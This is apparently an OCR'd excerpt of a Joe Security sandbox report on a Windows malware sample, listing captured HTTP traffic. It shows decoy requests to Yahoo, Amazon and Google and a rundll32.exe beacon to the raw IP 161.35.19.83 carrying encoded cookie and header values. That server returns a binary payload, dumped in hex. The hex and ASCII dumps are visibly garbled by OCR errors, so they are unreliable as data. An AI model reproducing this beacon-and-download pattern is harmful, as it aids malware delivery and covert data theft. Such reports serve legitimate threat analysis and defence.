Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self* https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.oath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=ds1aj05gl5igv&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢c 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 30 37 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f
72742d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
727265 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:07 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6c 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
6572 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 31 68
65 37 6e 34 35 68 67 71 64 4e 36 48 65 74 65 37 76 69 69 33 42 7a 30 69 70 58 65 36 37 7a 25 32 66 38 6d 67 32 6a 37
66 72 38 37 72 36 6f 65 6¢ 75 31 52 75 68 34 72 65 63 6b 68 5a 30 67 65 75 65 39 68 31 36 6¢ 75 6d 74 32 25 32 66 67
386276 74 6d 41 6e 30 67 32 74 73 76 6a 78 63 67 68 6d 62 70 73 74 79 74 6a 42 54 6b 35 34 25 32 66 30 64 70 69 37
7268367176 7a 77 63 6e 78 72 72 25 32 66 71 35 37 30 71 30

Data Ascii: <html><meta charset="utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fww
w.yahoo.com%2f1he7n45hggdN6Hete7vii3Bz0ipXe67z%2f8mg2j7fr87r6oelulRuh4reckhZ0geuedh16lumt2%2fg8bvtmA
n0g2tsvjxcghmbpstytjBTk54%2f0dpi7rh6qvzwenxrr%2fg570q0

Destination IP Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /xg1llshORgzu31iKf7yydf/5yO9lyRofucQgjiBOvOkz37NgnOeltx73Q/jy9maoh5WwcxS27itynf4 7s/kb9x3kpsfwfmy
raAw73gk9kPfmwoVgGkUcxo/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-09-28 07:54:09 UTC 980

2021-09-28 07:54:09 UTC 980

Session ID Source IP

49 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:09 UTC 981

2021-09-28 07:54:09 UTC 981

2021-09-28 07:54:09 UTC 982

2021-09-28 07:54:09 UTC 983

Session ID Source IP

5 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49967

Direction

ouT

Source Port
49856

Direction

Data

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:54:09 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: RJI2JQ6YRXWI9RW883P17S

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip"

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18 d0 00 7b 18 86 80 22 af 28 2e 14 ¢9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d 7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 fO df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d 5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+,Yt=I{"(.W]}n"u=Padn{]1+:"Ch[ *"kz<{VJZqQFb:i+:S6nVD_z%=| X$2[HbsLed=R<"<G*vOhu

Destination IP Destination Port Process

142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /9fJgxvunMcrOCrodzgHgn7yJjExdfatlifkgtfthhn/Y16s7vic464uSsudblv/Sb5c5QaBsOobo8ficd59Jvg4l59fnpo4
80urDR/gQrBojyein48d5zIuzz9lflxdp3145yQut6S2le0Gfie/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1708

Date: Tue, 28 Sep 2021 07:54:09 GMT

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
746120 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3¢ 74 69 74 6¢ 65 3e 45 72 72 6f 7
220 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e Oa 20 2
02020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6 74 3a 31
357078 2f 3232 70 78 20 61 72 69 61 6¢ 2c 73 61 6€ 73 2d 73 65

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3232 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2€ 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP Destination Port Process
161.35.19.83 443 C:\Windows\System32\rundlI32.exe

Data
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kBytes
Timestamp transferred

2021-09-28 07:53:25 UTC 305

2021-09-28 07:53:27 UTC 308

2021-09-28 07:53:27 UTC 309

2021-09-28 07:53:27 UTC 312

2021-09-28 07:53:27 UTC 316

Copyright Joe Security LLC 2021

Direction

ouT

Data

GET /feed/news/last HTTP/1.1

Date: Tuesday, 28 September 2021

Cookie: CGIC=EstkolSrExZuqvXTu3tCz6TTSKCfeZHMujTGqTBATVEZE]riXyviO%2Bwf5SXCWUWfK5uvL4i2s6Y
chp%2Fl4wIBIYRyo6cPR2bhSpcJ8MTRuVLzyiXxfnlVyQ3xu%2FFgo9zREs|7byE8t2sAYhnw4QJWb8WS4dzth7Sp
1MjQDyh2qE%2FO9RL%2FuvobBHrullCyNnVweQtKR7h33HPv4zOnZNURAAtOALEKAESKANCMIGYHZPL3
VMszQ%2BJ4x7BoNCBpl1KPxr3RvfiwYMCvadpflZ06PSMTanhlcNAZdeAs9%2BQGoUNKIHD2eDXDGBwfjJBaAPqYZmU
Emqi4QUfdv%2B8rapUAwQ%3D%3D;DV=rANv72HK%2FaQwNmJysKyzHfTew23PogurjSXGMukIVdCllpCbUvAsSVRJx
hzillLXcRLM9B90M937%2FGXVZZaqUXnz%2Bw7ufaXpl TMMX05NUZ231x%2BWCIrve03XDZI0%2BfzkSpe6mmp3VAy
ktB%2ByW3AU8%2Bc1Hdst6e3mJIpRI6s7HundD6h5jHIbXdgiMaVuL2jVU1s7tFimmeH1NCmfZx7EbktPvwI9THOXtO
DgNKIEFrzcF%2F1YsSMCrYOplI%2FwEavprtPhB4PT2nfXOweHOBtX9THNVIB2eLzXa9E2%2BTSX7YKCHCF2EGNTCF
vDeFkZINH6IWah6v%2FrJfSIFoXNeCuMQWQ%3D%3D;HSID=gq8ZNbDF5ks85z4P%2BIMaH%2FzRLe46r
7%2F%2Bhnn%2FpDJO9Y MEXgEQh2yDpRm3wm6yEc8nw0QU9K1eeO0FbnVhhYzuhW9U2CPf4r9Sa0ADgwo
6ZchGF7aQeC26N6C%2FCChYOrfYNipK%2B2Zc6aerg5aAq%2F5DIAaVWKC3UqShjwPa87rS4ARRJI%2FgQ
%2BhUe9KG7SMychxOmDLWgMm5AorosFNcYggAbxdUeyPW|j58HkitgRmQpb0ANnoipNS8s%2BRYIVzgQTp
Yz2w2ApzBXhbNaHx6H%2BPNhSnIBxjhUJh%2BENfERAY3%2FereScY2VGIOIu9kQN2qSQB6cX%2FydHVs90Y SGgbal
J9%2FKRtZmA%3D%3D;ANID=Uji%2B3DddSqINsZbhaYW3rg8Z7ULhrDupGF%2BcAA85CZz3iHCIym%2FCnetnQ33%2F
N%2FMudZMVtchj601kRINWAWZUCOgsBxvGd7e%2Bzo3ysEQMFz1PIEUdejAoN%2BjUK9dzv706shkuG5VHL2HF2jOP
K2CQd1A6njo0%2BIGbFv8p4d4DgClul%2F%2BSR2XM24Du0SZPoFQVDfq6ftwn%2BQxDtbRIqi4A50LPylwMbg6rOZ
DFVUrZN0O1KyWzP2%2B%2B]j%2B0o4QDKTX151115i0P3kuD8%2BiY RQyOBDwWX8EtSa8eXbLhRIxb9c38fNSWLWfPJ9Dd
tpysnjKOtrRPhieSnPyJ9foSoLMOtT%2FgKmA%3D%3D;

Var: KY5XBk%2FDucUbvQaQsg%2BQHStNSLGIIG%2F069Kx%2BgPdulAdSSMptfPGiftla2pT3JGKDZO9xY rkyKo1f
UsvTGXYyjRdsgH1ghfY7kxruuZiahvYEUIBhj9brG4YknUgrF1ja9%2BQzYpR8cnfOICcPTKOESDmMKVT7UEj9NmwLJ
nKfyXa%2BcJbjtkHWRK5FTh5Fe31798zHeW9sVmryalzPyRCyBjb7fTtZXRB7eThdNzxzMsNMpEgiKBGAAW9EL 7p8b
Up2fgFXm3VMRATW5%2B7QuIK43H7vOVyeM9Z54nmnjleFoxUNSZGE6IV40e2w1WKVRAIWVTEMTdMtawl
QOo0LVP2sPIg%3D%3D

X-Tag: jp1DigpRASRUF7e7pZbPsiw%2BnoAKCv7M478dWRcWvP0i0Y CFMQnbDUNQUHAIC8s2Y%2FGQoGFJy7kocRQ
9%2B8A7X%2B%2B1XR1nLOY Ik%2FbEEb1IMGtT3Xy6%2FBXFMnPFyHXYPVxoqRNWQP4IFL%2BKLEYytIMCO03
WIT%2BWE6xJ5RKePfc7rzY6Hr4K9iRh820rkfCVINXNgHIGezcgQ%2BOELREesXSexMiohrTx4is6fbHEsjM9pjZ73
sf5552wWKXfd9HELisvuEWy7wrk1vk2Gazka9SY1DtU60r2XUzQ%2BM14n94xJZqJbZIQSyeliYdH5dI93fCZtLd870
KeyOJbGexK56GVIRMMjpw%3D%3D

Vary: x%2B%2BILUePbYWFzVVTknX4r531L3iVBpVYO04s91tWeP%2BDVOSUXrk3B%2Fw2iUDP6n1MSqwaTCOKtdI2h
cdn%2B7CRzMW9pDdW2%2FtJejYbr%2BClk98o0EOWEC7c%2BALXpbRhzcbxRo9yGawXJleH43VLHspBgB
PQDXr8TPCCgmCKKRBIRIZ3xzfTiPJYKzbWULR6mwhzJpSNerkOQxiaVgYNQ42X110IsHsQ2IN40A6alfNI1WZBksWO
8xkLygP9XyqfVOK8R5aF6JFF4KyLolrPGYkB1xcloITNeTObVo5w%2B50KZAZv5XY %2BrHPA8bsu%2FK1U%2FCtDAO
dVAbUBgONThvSLUjocTo1Q%3D%3D

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61
Safari/537.36 Edg/94.0.992.31

Host: 161.35.19.83

HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)

Content-Type: application/octet-stream

Content-Length: 293376

Connection: close

Date: Tue, 28 Sep 2021 07:53:27 GMT
Content-Description: File Transfer

Content-Disposition: attachment; filename=nwko4LTpzG
Content-Transfer-Encoding: binary

Expires: 0

Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public

X-Frame-Options: DENY

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Data Raw: c2 91 87 40 b8 ae 4d 9a a5 5d fc cc 26 7c 3d €3 58 8e 2e ¢7 7d 74 bc 2c d9 35 79 d7 41 8f b8 04 77 cc 82 62
a0 07 23 68 fc 83 71 2a 50 64 50 c4 b7 e5 b9 75 3b 16 8e 14 bc 80 88 50 7f 44 1e 80 45 b4 98 8b 86 81 c7 c1 54 18 42 58
aa 3f b4 e8 be 47 6a f5 6b f7 53 65 ch a8 37 59 3e 96 b5 92 0d 41 76 5¢ a2 91 ef 3e 1b 2c 63 a8 7f ef 4b 3f 00 6d 3c f3 48
59 39 ee 5f 56 8f 5e 16 99 10 33 b5 ab 3f 46 aa ec 28 32 b2 el Oe 53 77 db 5a 44 31 36 65 cc 40 0a b9 f8 a8 47 ba 18 47
d3 6b 41 06 3f 72 6b 96 05 d1 ce 23 25 da c9 b5 7f 2f 98 98 17 Oc 23 3a 22 a5 62 1d 1c f9 75 3c 13 25 b7 aa d1 89 88 73
68 b5 c9 77 bb 11 b5 82 be 3f 8e 9e 1b 07 5e e3 2e 45 e0 f7 90 f5 f1 22 05 1c 4e 60 e6 a5 38 95 38 8a a7 d2 2c 67 af 22
¢4 9c 06 00 Ob 04 81 9d 91 fc 86 6e 2b 3f 42 ac ac 7e

Data Ascii: @M]&|=X.}t,5yAwb#hq*PdPu;PDETBX?GjkSe7Y>Av\>,cK?m<HY9_V"3?F(2SwZD16e@GGkA?rk#%
#:"bu<%shw?/.E"N"88,9"n+?B~

Data Raw: le 70 d2 5d ba 30 48 34 d2 3f 60 ¢8 51 83 91 d1 c1 87 09 b4 16 69 a5 92 68 17 €6 17 77 f3 82 e4 1b 36 80 c5
94 fe fb 00 67 1b b0 bc 41 dd 72 26 a8 bl 1a c3 57 €6 f0 7b 1e 7f a7 eb 07 2f 6e 96 81 c1 b9 6b 09 42 9 7b 4f d1 8c 4e e
a3 7a82eb 7d fl1 af f1 54 8 ed f5 d1 1le 33 4f 3d 62 33 80 b3 11 eb da c7 06 2f al 97 ec 1d 66 Of 34 6f d3 a2 ed d7 cf ef
25 16 d0 d2 ae 87 44 3e 2b 4e 8¢ c0 53 33 fb 32 d7 24 6b 36 a4 24 2f 68 2b c8 25 6e 6f d5 a8 21 11 3d da c3 c4 81 1f cd
02 42 a9 1c 6e 74 b2 40 cc 1c el 97 52 26 39 4d 13 37 ec 63 4f 04 21 8e 7f la ea al c6 91 7a d1 38 f9 70 af cb 1c 82 a6
7c 72 6¢ bb bb 33 5d 68 bd 32 88 f6 9b 00 39 8d bb 80 3f cd ae 9e 51 72 ad ee d7 d3 d4 8a 4a 37 b8 af 05 fe dc 8d f2 75
ef 96 64 26 b0 ee 64 4e 7a e5 72 3f 9a 40 66 36 11

Data Ascii: pJOH4?"Qihw6gAr&W{/nkB{ONz}T30=b3/f40%D>+NS32$k6%/h+%no!=Bnt@R&IM7cO!z8p|rl3]h29?QrI7ud&
dNzr?@f6

Data Raw: b2 a9 2d c4 40 c2 4 b5 fd 15 e5 42 97 cd 74 6b d5 79 b0 00 51 ab db f8 82 4a b3 60 8c Oe a5 03 7e f1 11 6e a0
a2 2e db af c1 29 48 3¢ 5d 5f 04 7d cc 42 9e 90 d9 3f f5 54 a4 91 30 20 46 c2 5e Ob a7 ea 8f 8¢ f5 22 34 ed ba 34 96 19 ec
b8 70 57 39 12 1b 5a 41 0a 68 5d 6a 58 54 ad c8 01 7a 86 b5 1c 2f e0 2f b4 d6 6f 32 6d 62 c9 c9 04 bf 01 Oa fd 31 6f 47 c9
€6 09 10 e6 bl ec ae 33 24 90 fe 8a 26 1a 9d 30 a7 7d 92 62 88 b4 75 bb 01 bb 74 00 10 97 6a 78 1e a9 7a 46 3e 14 ae 6f
bb 87 f9 a5 0d 3b 33 e4 cd 86 c0 70 5d fc dd 57 d8 22 3a 88 eb 9d 7e 22 71 94 43 99 4c de 75 f4 3d 62 92 27 b0 38 b7 92
39 20 aa d5 1d 17 bb 3b 8f 0f be 71 a6 38 13 85 58 f7 29 Oe ad 09 9b 5f 19 f8 a0 b0 5 88 62 97 a2 91 2e f8 95 f3 1e 19 f8
6e fd a4 9a 94 12 13 f5 ec 3a cl 54 9e 2e bl

Data Ascii: -@BtkyQJ ~n.)H<]_}B?T0 FA"44pW9ZAh]jXTz//o2mb10G3$&0}butjxzF>0;3p]W":~"qCLu=b'89 ;q8X)_b.n:T.
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kBytes
Timestamp transferred Direction Data

2021-09-28 07:53:27 UTC 320 IN Data Raw: 24 ae al fe 46 51 3a 86 b7 93 c1 b6 68 d7 al cd c8 48 79 78 5f 97 79 08 25 73 ef c7 58 7c 57 ea 7b 10 34 16
7131394 7b 3d 87 e5 60 e4 7d 5b 10 el bb b2 f0 c1 74 07 df 41 a9 30 85 cc 0d 98 bf b8 07 48 86 f3 aa af 24 d0 Oa c9 e5
c4 5a f8 6a fc 5a 2f e4 2b 05 c1 8b 5a be a4 04 24 3b ec 1d ea 70 b9 49 f0 29 ¢5 78 67 08 61 5d 74 c9 04 92 39 14 85 80
81 Oe f9 ¢8 81 72 24 3a fd cd 96 78 44 a0 c1 da 7d 9a 34 38 2b 73 70 8e 31 81 24 ab 3a 7b e3 7 ¢3 83 2¢c 71 c1 fe 05 be
a4 8c b5 29 chb 77 aa 17 55 ed 26 64 93 22 2b d1 6d 42 7f fa 34 ea 6e 3e €9 91 ac 3f 6d ee d9 33 10 df 43 19 47 4f Ob 4a
74 a3 e0 al 23 10 01 cc f9 2a dd 7f 29 04 33 0a f6 4b e4 6b 2f 34 ed 71 b3 78 34 d0 3f 3d af 02 03 22 71 00 Oc fe 66 2b dc
73 b3 28 35 36 €8 84 64 bc cd 63 cf 66 12 68 7c 9b
Data Ascii: $FQ:hHyx_y%sX|W{4q19{="}tAOH$Z|Z/+Z$;pl)xga]t9r$:xD}48+sp1$:{,q)wU&d"+mB4n>?m3CGOJt#*)3
Kk/4gx4?="qf+s(56dcfh|

2021-09-28 07:53:27 UTC 324 IN Data Raw: 21 2f a2 4a ce 3c 8f ff 9b 27 db 7d 38 13 02 07 a2 d5 5e 67 15 95 74 e6 de d1 17 cd 6e a2 ae 90 fO 1d 15 42 fO
de 40 c2 6d df 35 f3 34 6f a2 d8 fa bb 17 a2 0a a6 4a a5 65 68 14 5¢ 1d ed be 2f fa 0d 40 e5 91 44 f5 4a 70 4b 68 b4 e7 a3
6 db 41 95 bd 7f 3e ac 6e 0d f1 ec a7 f2 43 fc 34 3f 39 65 bc 9a fa 02 ce ac f7 74 44 4a 76 4b c2 f4 85 00 17 f9 8f 80 89 cf
9e 28 9b bl 1b 42 7d 73 a0 46 85 ca d1 9e d1 53 2d a4 28 bf 1b df 4c 59 da 99 a2 48 b9 04 cf e2 84 7a 7c ed ea f7 56 43
€2 29 4f 3f 0Oe 03 d6 3f 7c 00 b7 59 Ob b9 74 82 13 af 7d 35 eb b2 15 f9 7b da fd 21 6 5e f4 a8 72 66 4c 5f 65 Oc 06 c9 €8
1f bl 1a 6b Oe bd 16 e4 c0 a9 f5 1c 19 80 3f 66 89 ee 06 4f 16 b9 1b 83 32 08 db c4 52 d6 87 1b 13 6e 6¢ 88 b0 fd 3e 7e
e9 ec 98 ¢c3 28 78 Oc d7 93 3a 89 f3 ea 01
Data Ascii: 1/J<'}8"gtnB@m540JehV@DJIpKhA>nC4?9etDJIVK(B}sFS-(LYHz|VC)O??|Yt}5{!"rfL_ek?fO2RnI>~(x:

2021-09-28 07:53:27 UTC 328 IN Data Raw: €0 2e 19 4b d2 c4 a6 5a 71 17 23 20 3d 30 47 5a b9 58 82 2b 8f ea c5 8 1e 28 c¢7 51 eb 81 a4 Oc d9 1c ff da
b6 41 ab 51 5b 04 ae dc 91 d4 0d 02 4d e7 77 ea 83 4a fa e5 05 d5 6¢ b6 6b 91 b1 3b ac bb b3 b6 fc 41 9d 35 59 70 4b 89
f8 2b d7 23 ee 6f Oe 70 b7 c1 4e 23 86 a5 53 eb 61 99 8e cf 15 a0 f6 fa 3e b6 50 fe 0d 22 c9 3d 41 75 80 a8 fO 4e 1le 8d 1f
f7 22 80 cc 7 1e f4 09 f8 al 75 30 bl 3b 2f 28 5d 42 ff 22 20 a8 1d 90 €0 46 df fd ed 01 20 05 34 58 c9 92 07 52 76 8e 79
39 1e 16 ab c5 eb 0a e7 b2 de €3 64 85 d9 18 da e0 24 66 24 a0 5c ce 48 8a 19 25 Oa a0 fa 72 f2 be 5f 7e 9c 2e 17 c9 07
74 6f9a 8f d7 50 30 c1 bd b1 d4 7c 58 7e 8a 7d 9a e3 a4 4e 02 f3 6f 69 68 ef ff 9d f8 98 6a a9 44 e4 4e dd cb d6 78 el 2c
99 5a 82 00 89 bd €9 77 74 b8 56 18 24 {8 aa 7e
Data Ascii: .KZg# =0GZX+(QAQ[MwJIK;A5Y pK+#opN#Sa>P"=AuN"u0;/(]B" F 4XRvy9d$f$\H%r_~.toPO|X~}NoihjDNx
JZWtV$~

2021-09-28 07:53:27 UTC 332 IN Data Raw: e4 53 47 e3 cf b5 e0 05 b7 8b 8e ¢8 57 67 bd 00 6e d8 c0 50 b7 f3 ab 3f 8f 64 8a ba f5 e3 6d cd ed f0 f4 cO 63
03 a7 1b ba 1a 9f 79 4a 1b 37 56 9e f3 b9 3e ce 71 1c 22 98 fa b9 43 82 e2 eb 58 Oc 82 1b ae c0 d9 ec 40 b3 a4 1d 8c dO
cf ee 19 8c 05 07 b6 b2 76 3f 15 f4 dd 74 31 dc 83 fa 65 50 6¢ 91 12 43 90 1d 32 02 75 58 6d 45 02 b2 a7 fb a8 a2 €9 b7
33 ba cb 4e ed 5c ba 77 53 84 5a 32 54 b3 83 45 27 d1 da a2 c1 d0 34 al b7 5f db 62 59 ea 61 62 04 bb a8 51 da 63 69
47 2d 11 c8 70 43 ba 1a fa 96 51 1c 1a 39 5b 0d d3 94 fa 70 ad 96 98 1a 7c bf f4 d9 e6 53 da 4f 15 a2 d7 75 3e el 5b 2a
23 8c ae e8 39 8d db fd 1e 10 Of 46 57 50 98 17 ae 51 68 Of 2b c9 69 f4 14 32 af 12 74 0d Oe 45 66 83 55 5¢ 5d 5 08 92 97
2f 30 6e 3c 62 26 f2 6d d8 ba df 19 7c ae 2b 42 df 84
Data Ascii: SGWgnP?dmcyJ7V>q"CX@v?t1lePIC2uXmE3N\WSZ2TE'4_bYabQciG-pCQI[p|SOu>[*#9FWPQh+i2t
EfU\]/On<b&m|+B

2021-09-28 07:53:27 UTC 336 IN Data Raw: ad d9 01 dd 01 a9 05 c7 2e fc a2 cb 13 ec 90 a0 cf cc 92 ¢9 01 d0 6e ad 00 3b 4c 53 c5 3a 4e 84 df fa fe c9 2b
40 d0 02 4a 2e Oc 2e 7c 21 f9 bf 81 34 54 9b 8e 99 c9 40 cO 1f 40 5e 85 65 66 cd c4 e2 42 96 c8 Oa f7 57 43 8d 98 51 0b ff
81 3f38 4c 74 73 16 be 2a a7 40 4b 96 f3 6e 06 22 fb aa ec d3 83 89 f8 a0 0a 02 7f 28 3b 11 6d 3e fa d7 f7 ee d6 5a 92 46
f4 48 48 ba 5e 0d 4c 5 ad 95 2e 4e 41 e5 35 20 9f 29 e0 5e dd bc ¢8 d5 4f 09 57 25 da ae 16 f3 e3 €9 al 58 92 da 24 b7
23 8b d2 8a 6b 0a 99 bd 9d 6e 34 35 03 6e 12 el e8 28 74 25 2f 89 f1 bb 69 34 55 el c5 9f 14 6e 67 32 1e a5 22 9f 4e ff
ec 8c 63 c0 1b 18 fe 77 61 2b 62 31 43 50 14 00 02 bd 18 8e 9b 5c ca a0 be 9f 4a 8b 32 7d Oe 9d 4a 9e d8 00 94 5e 41 ba
24 b6 d8 2d 13 c6 33 c0 ed 2a df 38 34 c9 40 3a
Data Ascii: .n;LS:N+@J..|!l4T@@"efBWCQ?8Lts*@Kn"(;m>ZFHH"L.NA5 )*"OW%X$#kn45n(t%/i4Ung2"Ncwa+b1CP\J2}J
NA$-3*84@:

2021-09-28 07:53:27 UTC 340 IN Data Raw: e3 dd 8d 04 4c c4 72 33 db a9 dc 54 91 5e 37 23 b9 aa ea Ob ed d2 bd a0 5a eb 3e ae b3 d4 c5 96 a3 9a 12 ab
dc 54 ba ee 25 5a 31 64 41 72 9a 7e 8b 91 02 d1 a7 e6 bd 34 59 16 20 5b 37 22 05 54 b5 31 56 fO da f6 d3 6d 42 49 ea
50 af b2 63 99 5f 38 39 47 75 bd 93 7e 65 f7 bc 9e 03 8e 31 52 2b de 87 6d 11 31 92 e2 01 al ae 7f 28 a3 9f ed 30 85 02
d3 68 da 09 ea 2a 75 9a a2 c6 d2 bl 87 bl e7 1c fa 22 90 e4 1f 7b 10 65 84 a4 8d 82 53 3f 99 62 43 71 60 5c 3e 3d 31 c7
